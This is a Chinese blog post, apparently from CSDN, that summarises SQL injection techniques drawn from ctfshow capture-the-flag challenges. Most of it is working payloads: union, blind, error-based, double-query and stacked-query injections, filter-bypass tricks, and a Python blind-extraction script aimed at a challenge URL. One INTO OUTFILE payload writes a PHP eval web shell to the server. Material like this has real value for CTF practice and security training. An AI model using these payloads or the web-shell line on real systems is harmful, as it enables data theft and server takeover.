sql注入总结

本文详细介绍了SQL注入的各种类型及其利用方法,包括字符型注入、数字型注入、联合查询、布尔盲注、时间盲注、报错注入、双查询注入、文件头注入等。同时,展示了如何通过数学式、正则表达式、LIKE和REGEXP操作来规避过滤。此外,还提到了预处理语句、文件导出和读写、利用错误信息等高级技巧。最后,讨论了如何通过位运算和编码转换绕过数字过滤。
摘要由CSDN通过智能技术生成

tips

判断字符型注入还是数字型

在判断数值型和字符型注入时,可以通过提交数学式的方式,例如:id=2/2,字符型返回id=2的内容,数字型则返回id=1的结果。

||在sql的偶用

||表示拼接,如’a’||‘b’ 等价于’ab’
如果有数字,就表示or的作用

联合注入

假设无过滤,这种是最简单的了算是。

-1' union select 1,2,3--+

对返回结果有过滤有时候需要用base64或hex返回

-1' union select to_base64(username),hex(password) from ctfshow_user2 --+
-1' union select to_base64(username),hex(password) from ctfshow_user2 --+

对返回结果的数字进行了过滤

-1union select ‘a’,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,0,‘numA’),1,‘numB’),2,‘numC’),3,‘numD’),4,‘numE’),5,‘numF’),6,‘numG’),7,‘numH’),8,‘numI’),9,‘numJ’) from ctfshow_user4–+

利用读写文件把结果写入网站目录

1union select 1,password from ctfshow_user5 into outfile/var/www/html/1.txt’–+

布尔盲注&&时间盲注

普通方法

1=if(ascii(substr((select  password from ctfshow_user5 limit 24,1),{i},1))>{mid},sleep(2),0) -- -

regexp

"tableName":f"(ctfshow_user)where(substr(pass,1,2))regexp('ct')&&(substr(pass,{i},1))regexp('{j}')"

right join

RIGHT JOIN 关键字会右表 (table_name2) 那里返回所有的行,即使在左表 (table_name1) 中没有匹配的行

"tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{i},1)regexp(char({j})))"

利用true绕过数字过滤

在这里插入图片描述

import requests

url = "http://71610981-3c01-4b8f-816e-be4d190b34cf.challenge.ctf.show:8080/select-waf.php"

flag = 'flag{'


def createNum(n):
    num = 'true'
    if n == 1:
        return 'true'
    else:
        for i in range(n - 1):
            num += "+true"
    return num


for i in range(45):
    if i <= 5:
        continue
    for j in range(127):
        data = {
            "tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{createNum(i)},{createNum(1)})regexp(char({createNum(j)})))"
        }
        r = requests.post(url, data=data)
        if r.text.find("$user_count = 43;") > 0:
            if chr(j) != ".":
                flag += chr(j)

                print(flag.lower())
                if chr(j) == "}":
                    exit(0)
                break


MD5($str,true)

username:admin
password:ffifdyop

利用where username=0中的弱类型比较

在where username=0这样的查询中,因为username都会是字符串,在mysql中字符串与数字进行比较的时候,以字母开头的字符串都会转换成数字0,因此这个where可以把所有以字母开头的数据查出来。
而password=0的原因在于这里:
intval让等号右边为数字0

if($row['pass']==intval($password)){

堆叠注入

修改列名

1;alter table ctfshow_user change pass jie varchar(255);alter table ctfshow_user change id pass varchar(255);


预处理

1;handler ctfshow_flagasa open;handler ctfshow_flagasa read first;#

handler

1;handler ctfshow_flagasa open;handler ctfshow_flagasa read first;#

预处理十六进制转换

username=user1’;PREPARE anf from 0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173;EXECUTE anf;

这样有时候会失败,所以最好先把十六进制的字符串预定义

into oufile的扩展利用

SELECT ... INTO OUTFILE 'file_name'
        [CHARACTER SET charset_name]
        [export_options]

export_options:
    [{FIELDS | COLUMNS}
        [TERMINATED BY 'string']//分隔符
        [[OPTIONALLY] ENCLOSED BY 'char']
        [ESCAPED BY 'char']
    ]
    [LINES
        [STARTING BY 'string']
        [TERMINATED BY 'string']
    ]


“OPTION”参数为可选参数选项,其可能的取值有:

`FIELDS TERMINATED BY '字符串'`:设置字符串为字段之间的分隔符,可以为单个或多个字符。默认值是“\t”。

`FIELDS ENCLOSED BY '字符'`:设置字符来括住字段的值,只能为单个字符。默认情况下不使用任何符号。

`FIELDS OPTIONALLY ENCLOSED BY '字符'`:设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。

`FIELDS ESCAPED BY '字符'`:设置转义字符,只能为单个字符。默认值为“\”。

`LINES STARTING BY '字符串'`:设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。

`LINES TERMINATED BY '字符串'`:设置每行数据结尾的字符,可以为单个或多个字符。默认值是“\n”。


filename=3.php' LINES STARTING BY '<?php eval($_POST[0]);?>'#

报错注入

?id=' or updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),1),1)-- -

?id=' or updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flag'),1),1)-- -

' or updatexml(1,concat(1,substr((select group_concat(flag) from ctfshow_flag),1,32),1),1)-- -

' or updatexml(1,concat(1,substr((select group_concat(flag) from ctfshow_flag),20,32),1),1)-- -


在这里插入图片描述

双查询注入

' union select 1,count(*),concat((select flag2 from ctfshow_flags),0x7e,floor(rand()*2))a from information_schema.columns group by a-- -

无列名注入

select `3` from (select 1,2,3,4,5 union select * from users)a;
//就相当于select pass from (select 1,2,3,4,5 union select * from users)a;

^可以作为连接符使用或代替or

username=aaa&password=aaa'^extractvalue(1,concat('~',right((select(group_concat(password))from(geek.H4rDsq1)),30)))%23
1^(1=1) 错误
0^(1=1) 正确
1^(2>1) 错误
0^(2>1) 正确
0^(ascii(substr((select(flag)from(flag)),1,1))>1)

逗号被过滤

’ and ascii(substr((select database())from 1 for 1))=xx %23这应该是substring函数的两种用法吧,limit则是 LIMIT M OFFSET N

利用with rollup绕过查询密码

sql语句:select id,count() form users group by id with rollup;
在这里插入图片描述
我们看到增加了一列,其中id为NULL,count(
)为统计和。

ascii过滤,可以用 ord()

REGEXP注入与LIKE注入

mysql的正则不区分大小写,如果要区分的话,要在regexp后加 binary关键字。
REGEXP注入分析
REGEXP注入,即regexp正则表达式注入。REGEXP注入,又叫盲注值正则表达式攻击。
应用场景就是盲注,原理是直接查询自己需要的数据,然后通过正则表达式进行匹配。

select (select语句) regexp '正则'

select (select username from users where id=1) regexp '^a';

在这里插入图片描述
^表示pattern(模式串)的开头。即若匹配到username字段下id=1的数据开头为a,则返回1;否则返回0

regexp关键字还可以代替where条件里的=号
^若被过滤,可使用$来从后往前进行匹配
常用regexp正则语句:

regexp '^[a-z]'  #判断一个表的第一个字符串是否在a-z中
regexp '^r'      #判断第一个字符串是否为r
regexp '^r[a-z]' #判断一个表的第二个字符串是否在a-z中

LIKE注入分析
百分比(%)通配符允许匹配任何字符串的零个或多个字符。下划线_通配符允许匹配任何单个字符。

like 's%'判断第一个字符是否为s
like 'se%'判断前面两个字符串是否为se
like '%sq%' 判断是否包含se两个字符串
like '_____'判断是否为5个字符
like 's____' 判断第一个字符是否为s

文件头注入

https://www.cnblogs.com/conquer-vv/p/11328249.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值